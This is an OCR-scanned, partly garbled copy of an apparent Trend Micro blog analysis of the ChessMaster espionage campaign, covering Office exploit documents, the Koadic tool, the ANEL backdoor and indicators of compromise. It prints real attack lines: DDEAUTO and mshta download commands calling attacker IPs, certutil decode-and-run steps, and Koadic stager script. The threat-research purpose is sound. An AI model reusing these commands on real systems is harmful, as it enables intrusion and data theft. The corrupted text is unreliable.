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Trend Micro discovered the ChessMaster campaign back in July Mitigating CVE-2017-5689, an Intel Management

2017 as part of our monitoring efforts to protect our customers. Engine Vulnerability

At the time, we found ChessMaster targeting different sectors
from the academe to media and government agencies in Japan. R U Sl LN uls

The threat group used a variety of attack tools and techniques From Cybercrime to Cyberpropaganda

to spy on their target organizations.

Back then, we noted that ChessMaster’s sophisticated nature Security Predictions for 2018

implied that the campaign could evolve, before finding changes
in the tools and tactics used in the campaign a few months
later. While the original campaign was comprehensive and used remote access Trojans (RATSs)
such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend
Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its
cyberespionage activities.

In this blog post, we analyze ChessMaster’s current status, including the updated tools in its Attackers are banking on network

arsenal — with a particular focus on the evolution of ANEL and how it is used in the campaign. vulnerabilities and inherent weaknesses
to facilitate massive malware attacks,
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IoT hacks, and operational disruptions.

July ChessMaster November Current ChessMaster The ever-shifting threats and increasingly
Campaign ChessMaster Campaign expanding attack surface will challenge
e users and enterprises to catch up with
ampalg their security.
Read our security predictions for 2018.
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Figure 1. Infection Chain for the current ChessMaster campaign P B

ChessMaster’s current iteration starts off with the familiar phishing attacks seen in the earlier

. . o .. . ChessMaster Adds Updated Tools to lts Arsenal
campaigns that involved the use of an email with an attached malicious document using the doc,
docx, rtf, csv and msg formats. The email title and attached file name were written in Japanese and Monero-Mining HiddenMiner Android Malware Can
contain general business, political, and economy-themed phrases such as Potentially Cause Device Failure

125%
o HEFLEIR(World economy) ACloser Look at Unpopular Software Downloads

o #IFIBUR (economic policy) and the Risks They Pose to Organizations

* FHBHER(budget estimation request) Cluster of Coins: How Machine Learning Detects

o HXXF5E(Japan-US dialogue) Cryptocurrency-mining Malware

» R{&FH{E(re-appointment of Prime Minister Abe) Pop-up Ads and Over a Hundred Sites are Helping

o EAZAH(contact network) gistribute Botnets, Cryptocurrency Miners and
ansomware

o [N BIXRFIX (staff recruitment plan)

o Zifi(meeting)
, . . _ Ransomware 101
However, there is a change in the exploit document. When we tracked ChessMaster back in

November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 . , : s
TO UNLOCK
(patched in September 2017) within the Microsoft .NET framework to download additional malware. SCUE PLAN _ RE
While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one -
e — e —————

exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also
exploited to deliver illegal versions of the Loki infostealer.

PEY 555

This infographic shows how ransomware
has evolved, how big the problem has
become, and ways to avoid being a
ransomware victim.

Check the infographic

Popular Posts

Homemade Browser Targeting Banco do Brasil
Users
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Campaign Possibly Connected to “MuddyWater”
Surfaces in the Middle East and Central Asia

Cryptocurrency Miner Distributed via PHP
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Cryptocurrency-Mining Malware: 2018’s New
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00008f0: 0000 0OOO GOEO AOEO A0 OO0 0000 0000 .. .............. el StlseE
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0000910: 3881 5500 b4fe 5200 0000 0060 0301 0103 8.U...R......... = Your email here
0000920: Mada 01603 1500 COO1 0802 0606d 7368 7461 ........... mshta v
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0000960: 1111 ©0dO2 862b 2200 00GO 00EO 0000 OO ..... +M

Figure 2. Exploitation of CVE-2017-11882

It also abuses three legitimate MS Office functions:

Function Purpose Affected MS Office
Formats we found in the
wild
Automatic Dynamic Data A legitimate Microsoft Office o .doc
Exchange (DDEAUTO) function used in an Office file N rtf
to retrieve data from another
. o .msg
Office file
Link Auto Update An Office function used for ° .CSV

automatic and user-free
updates for embedded links
upon opening.
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Microsoft Word’s A feature that allows HTML or ° .docx
“Frames/Frameset” Text pages to be loaded in a
frame within Microsoft Word.

< >DDEAUTO c:\\windows\\system32\\mshta.exe</
< w:rsidR="004628EA" >< >< w:cs="LucidaGrande" />< W:

@OA628EA" >< >< w:ascii="LucidaGrande" w:hAnsi="LucidaGrande"
< >http://185.153.198.58:8080/M1DPD</ ><f >

Figure 3. Exploitation of DDEAUTO

websettings.xml.rels

version="1.8" encoding="UTF-8"
xmlns="http://schemas.openxmlformat
£ I 1
officeDocument/ '

Wi . N@asnnones . C

32\emd /c for /f ¥i in ("ms at fo™) do call ¥ihta http://185.81.113.95/kMWz2PDwt8RNxb"!""

Figure 5. Exploitation of Link Auto Update

ChessMaster can utilize any of these methods to download the next malware in the chain, the open
source post-exploitation tool known as “Koadic,” which the previous campaign also used. This tool
is responsible for stealing information — specifically the environment information — within the

target system.
Koadic executes the following command:

e %comspec% /q /c <cmd> 1> <Qutput> 2>&1

The commands and output of Koadic will change according to the ANEL version used in the attack.

The table below lists examples of the commands and outputs for ANEL versions 5.1.1 rc and 5.1.2
rc1. Note that if ANEL 5.1.2 rc1 was downloaded, the attacker would use HTTPS to avoid the
downloaded data being captured as clear text.

i
PDFmyURL
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Koadiccom m and cod Output
shellexec task list /v RTEM PR ¥¥ch3dTh420d824eeb808dabbbffed 46ca dxt
shellexec ipcon fig HTEM P X ¥¥3fdafd1455d4d4ccdbBabbYeb3bchd8E3 dut
htte dow nloadEx N & KTEM P X ¥¥pakttint
she llexec certutil ~decode % ten pk Epakitt §TEW P& ¥¥05e3dh3bbBOA421 T8, 324379624 3cB9B 4xt
Kten p¥ ¥¥patk dn p
shellaxec dir¥ten p¥ ¥¥patk dn p STEM P& ¥¥475f6cdbhBc942eh845d562608h 42954 4xt
shellaxec cnd o Bten ok ¥¥patkdn p STEM P& ¥¥53521263e1144007983a76dc05821c90 4xt
shellexec taskkillpatk dn p HTEM P& ¥¥0bh34721a8354ef49heldecccech 2904 fut
shellexec taskkill /f /in patk 4n p RTEM P X ¥¥357304ab877e421328e7chc4889d 6600 4t
shellexec del® ten pk ¥¥+x HTEM P X ¥¥4a8c53c749814903aaec32a524443235 dxt
shellexec dir® tem p¥ RTEM PR ¥¥ebiffdfdbafd T4f58h1h49clcedchelfe dxt
shellaxec taskkill /f /in patkdn p HTEM P X ¥¥ad39997089894239906d580 1ceh021d Axt
shellexec netstat -ano RTEM PR ¥¥3chcd42b1073d 4cfcB3636b 70 fd feafel txt
shellexec task list /v RTEM P X ¥¥98481715fh3043ada363807e8fhalced dxt
shellexec netview RTEM P X ¥¥008c52cechfl4cTd8balll1d36daabhe

Figure 6. Koadic commands and output when ANEL 5.1.1 rc is used

Koadiccommand cnd Output

shellexec inconfig KTEM PR ¥%¥0418cdc343ded1B5b917fhdeci48ddd3s dxt
shellexec task list /v KTEM PR ¥¥4266e924d43246880119947170d30078 4xt
shellexec imconfiz fall RTEM PR ¥¥83af0201befh 4efdbB2583belel fdBd8 bd
shellexec net view KTEM PH¥¥0fd90b Thdcaad?2cBEB] 1cB1eT4751 442t
shellexec taglist /v RTEM PR Y¥¥d4273f8dc0364d07beb2a82a2e50f9846 txt
shellexec task list v HTEM PEYETel 24100672 4f3ehachbhdefibbedch dut
shellexec inconfig HTEM P¥¥¥556309F37fc04dB284b 817072 ffhkec txt

certutilexe —urlcache -sp lit -f
shellexec hitess/www nasnnones [lzon SicE dxt RTEM PR ¥¥2Te185f49daB41f788ebaTbdefich073e dxt

Btem pk ¥¥ato dxt

certutil -decode ¥ ten p¥ ¥¥ato tut

%tem pk ¥¥atodn p && powershell

Ftn p=§Envien pt ¥¥¥¥atodn p Fin p FA3EMK
shellexec FFfuefe= HTEM PE¥¥68bebecddTh3403a8e5aa792003deas tut
[activator]:Createlhstance ([tvpeliGetTypef rom
FrogD (Exceldpplication 1154 38fdkFFfwefe Re
gisterfLL (Bt p);

Figure 7. Koadic commands and output when ANEL 5.1.2 rc1 is used

The table below lists all of Koadic’s functions:

{Variable}.user User-related functions

{Variable}.user.isElevated Check Privilege
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{Variable}.user.0OS Get OS Version

{Variable}.user.DC Get DCName from Registry
{Variable}.user.Arch Get Architecture
{Variable}.user.info Get User Information
{Variable}.work Main Routine functions
{Variable}.work.report Reports to server
{Variable}.work.error Returns error
{Variable}.work.make_url Alters/Modifies URL (C&C)
{Variable}.work.get Get the return of POST Header
{Variable}.work.fork Creates rundll32.exe process
{Variable}.http HTTP Connection functions
{Variable}.http.create Creates initial HTTP objects
{Variable}.http.post POST header
{Variable}.http.addHeaders Adds HTTP Headers
{Variable}.http.get GET Header
{Variable}.http.upload Uploads binaries/data
{Variable}.http.bin2str String manipulation
{Variable}.http.downloadEx Downloads response
{Variable}.http.download Additional download function

Convert webpages to pdf online with PDFmyURL PDEmyURL
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{Variable}.process Process-related functions

{Variable}.process.currentPID Get Current Process ID
{Variable}.process.list Enumerates Process
{Variable}.process.kill Terminates Process
{Variable}.registry Registry-related functions
{Variable}.registry. HKCR Set HKEY_CLASSES_ROOT
{Variable}.registry. HKCU Set HKEY_CURRENT_USER
{Variable}.registry.HKLM Set HKEY_LOCAL_MACHINE
{Variable}.registry.STRING Set String Value
{Variable}.registry.BINARY Set Binary Value
{Variable}.registry. DWORD Set DWORD Value
{Variable}.registry. QWORD Set QWORD Value
{Variable}.registry.write Write/Add Registry
{Variable}.registry.provider Create Registry Handle
{Variable}.registry.destroy Deletes Registry Key
{Variable}.registry.read Get/Read Registry Entries
{Variable}. WMI WMI-related functions
{Variable}.WMl.createProcess Creates specified process
{Variable}.shell File/Process Execution functions

Co rt webpages to pdf online with PDFmyURL
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{Variable}.shell.run Run commands

{Variable}.shell.exec Executes process
{Variable}.file File-related functions
{Variable}.file.getPath Get specified file path
{Variable}.file.read Text Reads specified text file
{Variable}.file.get32BitFolder Get System Folder (32/64-bit)
{Variable}.file.writol Writes on specified file
{Variable}.file.deleteFile Deletes specified file
{Variable}.file.readBinary Reads specified binary file.
ity
{

var output = ENPVMRILOU.shell.exec("tasklist /v", "¥TEMPZ\\cb3d7b4208d824ee5809dab5bffeldbeca.txt™);

ENPVNRILOU.work. report(output);
}

catch (e)

ENPVNRILOU.work.error(e)
i

Figure 8. Command added when the Koadic RAT is downloaded (use of {Variable}.shell.exec
command)

If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-
encrypted version of the ANEL malware from the Command-and-Control (C&C) server and
executes it. Encrypted ANEL is decrypted using the “certutil -docode” command. When ANEL
executes, a decrypted DLL file with the filename “lena_http_dIl.dII” is expanded in memory. This file
contains one export function — either “crt_main” or “lena_main”

i
PDFmyURL
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POST /LEN69?sid=6a5e363a06cd4611b31866491426babf;csrf=57c45eefa893474188671c@d50178a3b; HTTP/1.1

Accept: */*

Accept-Language: ja

Referer: http://185.153.198.58:8080/LEN69?sid=6a5e363a06cd4611b31866491426babf;csrf=57c45eefa893474188671c8d50178a3b; \..\..\..\mshtml,RunHTMLApplication
x-uploadfilejob: true

Content-Type: application/octet-stream

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.e; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media
Center PC 6.0; InfoPath.3)

Host: 185.153.198.58:8080

Content-Length: @

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.0 200 OK

Server: Apache

Date: Thu, @2 Nov 2017 08:31:22 GMT
Content-Length: 216892

Content-Type: application/octet-stream

fffff BEGIN CERTIFICATE-----

TVGQAAMAAAAEAAAA/ /BAALE Q
AAAAAAAAAAAAAAAAAAAAALTUZAATANNIDEBTMOhVGhpCyBwemoncmF tIGNhbmSv
dCBiZSBydWagaWagREITIG1VZGUUDQOKJAAAAAAAAACAMSSX/ PhABPZAQATB+EAE
k47rBPX4QASTjtAE9ThABIO06gTK+EAESYDTBPVAQAT8+EEEVVhABIO07gTO+EAE
ka7dBP34QARS aWNo/PhABAAAAAAAAAAAUEUAAEWBBQChhPPZAAAAAAAAAADGAATR
CWEKAABMAAAAGATAAAAAADACAAAAEAAAAGAAAAAAQAAAEAAAAATAAAUAAQARAAAA
BQABAAAAAAAASATAAAQAAH3ITAgACAECAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA
AARARARAAADS eWAAKAAAAACQAZCOAQAAAAAAAAAAARAAAAAAAAAAAACEAGBEBEGAA
AARAAAAARAAAAAAAAARAAAAARAAAMAAAAAAAAAAAAAAA NS SAAQAAAAAAAAAARAAAA
AGAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUCGYAdAAAAL T LAAAAEAAA
AEWARAAEAAAAAAAAAAAAAAAAAAAZAABZL NTkYXRhAAAQIQAAAGAAAAATAAAAUAAA
AAAAAAAAAAAAAAAAQAAAQCSKYXRNAAAATPKBAACQAAAAG ZEAAHTAAAAAAAAAAAAA
AAAAAEAAAMAUCNNY YWAAALQBAAAAKATAAATAAAB CAZAAAAAAAAAAAAAAAABAAABA
LnI1bG9jAAAY CQAAAKACAAAKAAAAXET. QAAAQg)

Figure 9. Base64 encoded ANEL downloaded by Koadic

ANEL will send the infected environment’s information to the C&C server. When sending the
information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.
The format ANEL uses to send data is similar to ChChes, but ANEL’s encryption method is easier
to use.
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ol e 5=

[oc_100094CD:

push Eax

| ea ecx, [ebptvar_a0]

call sub_1000BZ57T

s]¢]s) BCH

(0 byte ptr [ebptvar_4], 2
moy eax, [esi+!0h]

moy [ebptvar _518], eax

| ea eax, [ebptvar_518]

push Eax

push 4

pop edi

| ea pax, [ebptvar_a0]

call sub_10001489

push offset aThislsThekncry @ "this s the encrypt key"
| ea pax, [ebpt+chSize]

call sub_10001B8E7

(B byvte ptr [ebp+var_4], 3
Clip [ebp+var_BC], 10h

(B ecx, [ebp+var_a0]

inb short loc_10008522

Figure 10. Encryption key using blowfish

We initially discovered the malware known as ANEL back in November 2017. At that time,
ChessMaster was using ANEL as a backdoor into the target system then injects code into
svchost.exe, which then decrypts and activates the embedded backdoor. This initial version of
ANEL had a hardcoded version labeled “5.0.0 beta1” that contained incomplete code. We noted
that this might signify the release of a future variant.

Instead of just one new variant, we discovered four different versions of ANEL.:

e 5.0.0 betat
e 511rc

e 5.1.2rc1

e 52.0revt

The different versions contain changes in the ANEL loader and the main ANEL DLL. The figure
below shows a summary of the changes between each version:
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ANEL Loader Expanded M ain ANEL DLL
FileType |ExportFunction |[ExportFunction injection process (W

00 ketal |DLL xButoOpen cri_m ain svchostexe 6275008700131 fpaze/
t . .

51 e EXE N & ct_p ain N A e s venee [eon /oaze/
contacts wvenee [Joon Aindex/
t . .

512l DLL xButoOpen cri_m ain svchostexe rem s.veneeLJon foaze/
contacts wvenee [Joon Aindex/
185.059.029[.]226

520 revl DLL xButoOpen lena_m ain svchostexe [J276/baze/
contacts wvenee [Joon Aindex/

Figure 11. Summary of the changes between each version of ANEL

Differences with regards to Backdoor commands:

CMD ID 5.0.0 beta1/5.1.1 rc/5.1.2 5.2.0 rev1
rcl
0x97A168D9697D40DD Save File
0x7CF812296CCC68D5 Upload File
0x652CB1CEFF1CO0AQ0 NA Load New PE file
0x27595F1F74B55278 Save File and Execute
If no match above Execute Command or File

The differences shown in the table above are subtle but present. For example, the initial ANEL
version, “5.0.0 beta1,” uses a different C&C server compared to the other versions. Once ANEL
evolved to “5.1.1 rc,” it changed its file type to an executable, while also changing the C&C server.
The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server. The
fourth version of ANEL (5.2.0 rev1) changes both the export function in the expanded main ANEL
DLL and uses a different C&C server. Overall, we can see subtle changes, which indicate that the
threat actors behind ANEL are making incremental improvements to the malware to refine it.
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switch ( v2l )

1

case @x697D4eDD:
if ( v22 == @x97A168D9 )
1

= (MD_SaveFile((int)&v27);
LABEL_34:
15 = (UINT)v14;
goto LABEL_36;

1
break;

case @w6CCCHBD5:
if ( v22 == @x7CF81229 )
{

14 = CMD _UploadFile((int)8&v27);
goto LABEL_34;

1
memcpy(&v19, &v21, 8u); break;
if ( v19 == @x697D4800D ) case (int)exFF1CBAGS:
if ( v22 == @x652CBI1CE )
if ( vi6 == @x97A168D9 ) {
{ } = CMD_LoadNewPE( (int)&v27);
3 = CMD_SaveFile((int)&v25); goto LABEL_34;
goto LABEL_33; }
break;
LABEL_32: 3 : default:
= (void *)CMD_Execute((int)v18, &v25); if ( v21 == @x74B55278 && v22 == BX27595F1F )
goto LABEL_33; {
?f ( v19 == @x6CCCE8D5 ) | Baéc_LgééL:343C:ELSEVEhndEXECUte((_ t)&v27);
if ( v2e l= @x7CF81229 )
goto LABEL_32; s
= CMD_DecodeString((int)&v25); } i
ilse =8;
2 =0
if ( vi9 != @x74B55278 || != @x27595F1F ) LOBYTE(v35) = 3;
goto LABEL_32; = CMD_Execute((int)&v27, (LONG)&v3@);
= (void *)CMD_DownloadAndExecute(&v25); LOBYTE( ) =1;
} memcpy_@(1);
LABEL_33: LABEL_36:

Figure 12. Backdoor function differences between ANEL 5.0.0 beta1/5.1.1 rc/5.1.2 rc1 (left) and
ANEL 5.2.0 rev1 (right)

Once ANEL enters the user’s system, it will download various tools that could be used for malicious
purposes, including password retrieval tools as well as malicious mail services and accessibility
tools that will allow it to gather information about the system. These include Getpass.exe and
Mail.exe, which are password and information stealers.

It also downloads the following:

e Accevent.exe <-> Microsoft Accessible Event Watcher 7.2.0.0

e event.dll <-> the loader of ssssss.ddd, (Detected as TROJ_ANELLDR)
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e ssssss.ddd (lena_http.bin) <-> encrypted BKDR_ANEL (Detected as BKDR_ANELENC)

These three files work together using a common technique call DLL Side-Loading or DLL
Hijacking. In this scenario, accevent.exe is the primary executable, which is usually legitimate.

After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it
takes loading priority), after which event.dll decrypts and loads the encrypted backdoor
ssssss.ddd, which is BKDR_ANEL. When we analyzed ANEL 5.1.1 rc, encrypted ANEL 5.1.2 rc1
was downloaded and executed.

Short-term mitigation

When the user opens the document DDEAUTO or Link Auto Update, Office will display a message.
If the user clicks on the “No” button, malicious activity will not initiate.

Microsoft Word x

| This document contains links that may refer to other files. Do you want to update this document with the data from the linked files?

Show Help ==

Figure 13: Popup message when users open the document that abuses DDEAUTO

Microsoft Excel Secunty MNotice ? >

@ Microsoft Office has identified a potential security concern.

File Path:

Automatic update of links has been disabled. If you choose to
enable automatic update of links, your computer may no longer be
secure, Do not enable this content unless you trust the source of
this file.

Enable Disable
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Figure 14. Popup message when the user opens the document that abuses Link Auto Update

Koadic sends its own JavaScript code as plain text. The suspect communication allows us to detect
the traffic.

GET /7RmljUGboE?sid=635aB5c28b3342b0b37cb5d20bad4464; csrf=;\. . \..\..\mshtml,RunHTMLApplication HTTP/1.1

Accept: */*

Accept-Language: ja-JP

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.8; SLCC2; .NET CLR 2.8.58727; .NET CLR
3.5.38729; .NET CLR 3.08.308729; Media Center PC 6.8; InfoPath.3)

Host: 91.287.7.91

Connection: Keep-Alive

HTTP/1.8 208 OK
Server: Apache
Date: Wed, 13 Dec 2817 B89:28:29 GMT

<html><head><script
language="J5cript”>window.resizeTo(1,1) ;window.moveTo(-2e3,-2e3) ;window.blur() ; try{window.onfocus=function()
{window.blur()};window.onerror=function(sMsg,sUrl,sline){return false}}catch(e){}var QBSDEZQICX={FS:new
ActiveXObject("Scripting."+"FileSyst"+"emObject”),WS:new ActiveXObject("WScript"+".Sh"+"ell™),STAGER: "http://
91.287.7.91:88/7RmljUGBoE" , JOBKEYPATH: "http: //91.287.7.91:88/7Rm1jUG6oE?
sid=635aB5c28b3342bBb37ch5d2Bbada464 ; csrf=", JOBKEY: "stage", SESSIONKEY: "635a85c28b3342b8b37cb5d28bad4464™ } ;QBSDEZQIC
X.sleep=function(e,r){if(QBSDEZQICX. isHTA()){window.setTimeout(r,e)}else{var t=(new Date).getTime();while((new
Date).getTime()<t+e);r()}};QBSDEZQICK. exit=Ffunction(){if(QBSDEZQICXK. isHTA() ) {try{window.close()}catch(e){}
try{window.self.close()}catch(e){}try{window.top.close()}catch(e){}try{self.close()}catch(e){}
try{window.open("","_self","");window.close()}catch(e){} }try{WScript.quit()}catch(e){}try{var

e=QBSDEZQICX.process. currentPID();QBSDEZQICX. process.kill(e) jcatch(e){}};0QBSDEZQICX. isHTA=function(){return typeof
window!=="undefined"};(QBSDEZQICX.isWScript=function(){return typeof WScript!
=="undefined"};QBSDEZQICX.user={};QBSDEZQICX. user.isElevated=Ffunction(){try{QBSDEZQICX.WS.RegRead("HKEY_USERS\
\s-1-5-19\\") ;return true}catch(e){return false}};QBSDEZQICX.user.05=Ffunction(){try{var e=GetObject( "winmgmts:\\\\.
\\rooth\CIMV2");var r=e.ExecQuery("SELECT * FROM Win32_OperatingSystem");var t=new Enumerator(r);var
i=t.item();return i.Caption}catch(e){}return”Unknown"};QBSDEZQICX.user.DC=Function(){try{var

Figure 15. Koadic's communication traffic
Medium- to long-term mitigation

At first glance, it seems ChessMaster’s evolution over the past few months involves subtle
changes. However, the constant addition and changing of features and attack vectors indicate that
the attackers behind the campaign are unlikely to stop and are constantly looking to evolve their
tools and tactics.

Organizations can implement various techniques and best practices to defend against targeted
attacks, such as regular patching to prevent vulnerability exploitation and using tools that provide
protection across different network levels. Solutions that feature behavior monitoring, application
control, email gateway monitoring, and intrusion/detection systems can help with this.

Given how cybercriminal tools, tactics and procedures are evolving, organizations will have to go
beyond their typical day-to-day security requirements and find a way to preempt attacks. Thus,
there is a pressing need to detect and address threats via a proactive incident response strategy.
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Essentially, this involves creating a remediation plan for effectively combating the threat and using
round-the-clock intrusion detection and threat analysis to prevent attacks from entering the
system. A proactive strategy can be much more effective for targeted attacks, as these kinds of
attacks are often designed to be elusive and difficult to detect, thus the need to scope them out. A
comprehensive security strategy that involves proactive incident response will need the input of
both decision makers and tech-savvy personnel, as they will need to be on the same page for it to
be effective.

In addition to implementing both mitigation techniques and proactive strategies, organizations can
also strengthen their security by employing solutions such Trend Micro™ Deep

Security™, Vulnerability Protection, and TippingPoint, which protects endpoints from threats that
abuse vulnerabilities.

In addition, comprehensive security solutions can be used to protect organizations from attacks.
These include Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites
and Worry-Free™ Business Security, which can protect users and businesses from these threats
by detecting malicious files, well as blocking all related malicious URLs. Trend Micro Deep
Discovery™ can protect enterprises by detecting malicious attachment and URLs.

Trend Micro OfficeScan™ with XGen™ endpoint security infuses high-fidelity machine learning
with other detection technologies and global threat intelligence for comprehensive protection
against all kinds of threats.

A more detailed analysis of the Command-and-Control communication flow of ANEL can be found
in this >technical brief.

Indicators of Compromise
Hash Downloader used in the campaign:

e 76b1f75€€15273d1226392db3d8f1b2aed467c2875e11d9c14fd18120afc223a

e 4edcff56f586bd69585e0c9d1d7ff4bfb1a2dac6e2a9588f155015ececbe1275

e 1b5a1751960b2c08631601b07e3294e4c84dfd71896453b65a45e4396a6377cc
Hashes detected as part of the BKDR_ANEL Family:

5.0.0 betat

e af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115¢c6b0a7dfa0dd
51.1rc
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e 2371f5b63b1e44cab2ce8140840f3a8b01b7e3002f0a7f0d61aecf539566e6a1
5.1.2 ret

e 05dd407018bd316090adaea0855bd7f7c72d9ce4380dd4bcOfeadc6566a36170
5.2.0 revt

e 00030ec8cce1f21120ebf5b90ec408b59166bbc3fbal7ebae0fc23b3ca27bf4f
lena_http.bin

e 303f9c00edb4c6082542e456a30a2446a259b8bb9fb6b0f76ff318d5905e429c¢

Tools used in the campaign:
Getpass.exe

o 52a8557¢8cdd5d925453383934cb10a85b117522b95c6d28ca097632ac8bc10d

event.dll

e 6¢3224dbf6bbabe058b0ab46233c9d35¢970aa83e8c4bdffb85d78e31159d489

mail.exe

o 2f76¢c9242d5ad2b1f941fb47c94c80c1ceb647df4d2d37¢ca2351864286b0bb3d8
URLs and IP Addresses related to the campaign:

e www/.Jnasnnones[.Jcom
e frems[.Jrvenee[.Jcom

e contacts|[.Jrvenee[.Jcom
e 91[]207[.]7[.]91

e 89/[.]18[.]27[.]159

e 89[]37[.]226[.]108

o 185[.]25[.]51[.]116

o 185[.]81[.]113[.]95

o 185[.]144[.]83[.]82

o 185[.]153[.]198[.]58

o 185[.]159[.]129[.]226
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e ChessMaster’s New Strategy: Evolving Tools and Tactics
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Trend Micro has blocked over 100 million threats and counting
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